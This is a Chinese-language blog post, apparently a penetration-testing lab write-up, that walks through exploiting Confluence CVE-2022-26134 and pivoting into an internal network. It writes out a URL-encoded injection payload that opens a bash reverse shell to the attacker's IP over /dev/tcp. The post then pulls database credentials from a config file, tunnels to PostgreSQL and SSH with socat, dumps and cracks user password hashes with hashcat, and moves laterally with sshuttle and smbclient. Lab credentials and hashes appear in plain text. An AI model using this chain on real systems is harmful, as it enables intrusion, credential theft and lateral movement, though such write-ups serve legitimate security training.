Socat 連接埠轉發
Socat 連接埠轉發
環境說明
攻擊機 Kali IP : 192.168.45.200
DMZ 對外開放之 Web Server IP & Port : 192.168.229.63, 8090
靶機內網 DB IP : 10.4.229.215
第一步一樣先 rustscan 外網機器,僅開了 22, 8090, 8091 Port
rustscan -a 192.168.229.63 --scripts none --ulimit 5000
nmap 列舉這三個 Port 服務,sudo nmap -sC -sV -p 22,8090,8091 192.168.229.63
22 是 SSH,8090 是 HTTP Service
8091 也是 HTTP Service
whatweb 8090 發現是 Confluence
依據此網站介紹的 Confluence Web CVE 弱點
https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/
我們將利用以下這一段指令來建立 Reverse Shell
POC 指令 : curl -v http://192.168.229.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/192.168.45.200/4444%200%3E%261%27%29.start%28%29%22%29%7D/
nc 4444 進來了,whoami 確認是 confluence 服務帳號
ip ro or ip addr 查看網路確認有另外一隻腳 10.4.229.63 (ens224)
由於這是一個有限的服務帳號所以可以看到的東西不多,但一樣要進行枚舉
尤其服務帳號一定要看網站設定檔與 Log
結果在 confluence 站台設定檔 /var/atlassian/application-data/confluence/confluence.cfg.xml
看到與後端資料庫的連線資訊如下
資料庫連結網址 : jdbc:postgresql://10.4.229.215:5432/confluence
帳號 : postgres、密碼 : D@t4basePassw0rd!
理論上可以透過已拿到 Shell 的遠端主機來做進一步的 SQL 資料爬取,也知道對方的資料庫是
PostgreSQL,一般會直接使用 psql Client 端程式開始進一步收集資訊,但目前的主機沒有安裝該程式而我們使用的 shell 帳號也沒有權限可以安裝該程式,所以要做的是 Port Forwarding 的方式將靶機 A 的 oooo Port 直接對應到靶機 B 的 xxxx Port,大致如下圖
隔天換了 IP
攻擊機 Kali IP : 192.168.45.187
DMZ 對外開放之 Web Server IP & Port : 192.168.198.63, 8090
靶機內網 DB IP : 10.4.198.215
輸入 socat 後發現 Web Server 有內建了 socat ( 大部分的機器預設是沒有的,這是靶機預先安裝的 )
那就直接在 Web Server 啟用 Socat 對應的連接,指令如下
socat -ddd TCP-LISTEN:2345,fork TCP:10.4.198.215:5432
狀態如下圖
接著就可以從 kali 攻擊機直接打 Web Server 2345 Port 即會直接對應到 DB 的 5432 Port
讓我們直接用 psql 指令吧
psql -h 192.168.198.63 -p 2345 -U postgres
連線後輸入上面拿到的密碼 : D@t4basePassw0rd!
輸入 \l 列舉 Database
\c confluence 進入 confluence DB 然後 select * from cwd_user; 列舉使用者
第一個使用者的密碼 Hash 值為
{PKCS5S2}3vfgC35A7Gnrxlzbvp32yM8zXvdE8U8bxS9bkP+3aS3rnSJxz4bJ6wqtE8d95ejA
查找 hashcat mode https://hashcat.net/wiki/doku.php?id=example_hashes 是 12001
做好一個 hashes.txt 檔案後,將 HASH 都填入
接著直接用 hashcat 破解吧
hashcat -m 12001 hashes.txt /usr/share/wordlists/fasttrack.txt
解出了三個
這三個
{PKCS5S2}aBZZw3HfmgYN3Dzg/Pg7GjagLdo+eRg+0JCCVId/KyNT4oVlNbhWPJtJNazs4F5R:Welcome1234
{PKCS5S2}vCcYx3LxTYB2KH2Sq4wLNLdAcS+4lX/yTQrvBJngifUEXcnIUHEwW0YnOe86W8tP:P@ssw0rd!
{PKCS5S2}ueMu+nTGBtfeGXGBlXXFcJLdSF4uVHkZxMQ1Bst8wm3uhZcDs56a2ProZiSOk2hv:sqlpass123
重新對應使用者帳號為
- hr_admin : Welcome1234
- rdp_admin : P@ssw0rd!
- database_admin : sqlpass123
一般使用者的帳號密碼很容易都用一樣的,另外有發現 Database 那一台也有 22 Port
所以讓我用 Socat 起另外一個 Port 對應到 Database Server 的 22 Port
socat TCP-LISTEN:2222,fork TCP:10.4.198.215:22
這次建立的通道如下
接著嘗試用剛剛拿到的 database_admin 與密碼登入 DB Server 的 SSH 看看
└─$ ssh database_admin@192.168.198.63 -p2222
順便拿 flag
另外該注意的是,Socat 並不是在 Linux 主機上建立連接埠轉送的唯一方法。有幾種替代方案:
rinetd 是一個作為守護程式運行的選項。這使得它成為長期連接埠轉送配置的更好解決方案,但對於臨時連接埠轉送解決方案來說有點笨拙。
https://github.com/samhocevar/rinetd
我們可以結合 Netcat 和 FIFO 命名管道檔案來建立連接埠轉送。
https://man7.org/linux/man-pages/man7/fifo.7.html
https://gist.github.com/holly/6d52dd9addd3e58b2fd5
如果我們有 root 權限,我們可以使用 iptables 來建立連接埠轉送。給定主機的特定 iptables 連接埠轉送設定可能取決於現有的配置。為了能夠在 Linux 中轉發封包,還需要在我們想要轉發的介面上啟用轉發,方法是將「1」寫入/proc/sys/net/ipv4/conf/[interface]/forwarding(如果尚未配置為允許轉發)它)。
socat 建立完,如果要透過內網的 DB(假設有兩隻腳)再跳進更內部的網路
例如上述的 192.168.50.63 用 socat 上起了 2222 Port 對應到內部 10.4.50.215 的 22 Port
socat TCP-LISTEN:2222,fork TCP:10.4.50.215:22
這裡不用參數 -ddd ,因為上述第一次驗證採用 -ddd 詳細輸出方便查看
上述做法是直接用 SSH 對外靶機的 2222 Port 到內網的另一台 22 Port
這時候我們要做的是先用 sshuttle 建一個路由表如下
sshuttle -r database_admin@192.168.50.63:2222 10.4.50.0/24 172.16.50.0/24
意思是說要到 10.4.50.0/24 & 172.16.50.0/24 的網段透過上述的通道來路由
跟前面一樣,登入 DB Server 的 SSH 順便打通與建立這個路由這個通道
通道暨路由建立後,接下來要到 172.16.50.217 的相關連線就會直接透過這個通道了
即便我們是直接跑 smbclient 也會直接通過這個 VPN 通道
例如 smbclient -L //172.16.50.217/ -U hr_admin --password=Welcome1234
可以看到直接列舉出 172.16.50.217 的分享資料夾
但有一點最重要的要注意當中使用到的它需要 SSH 用戶端上的 root 權限和 SSH 伺服器上的 Python3
留言
張貼留言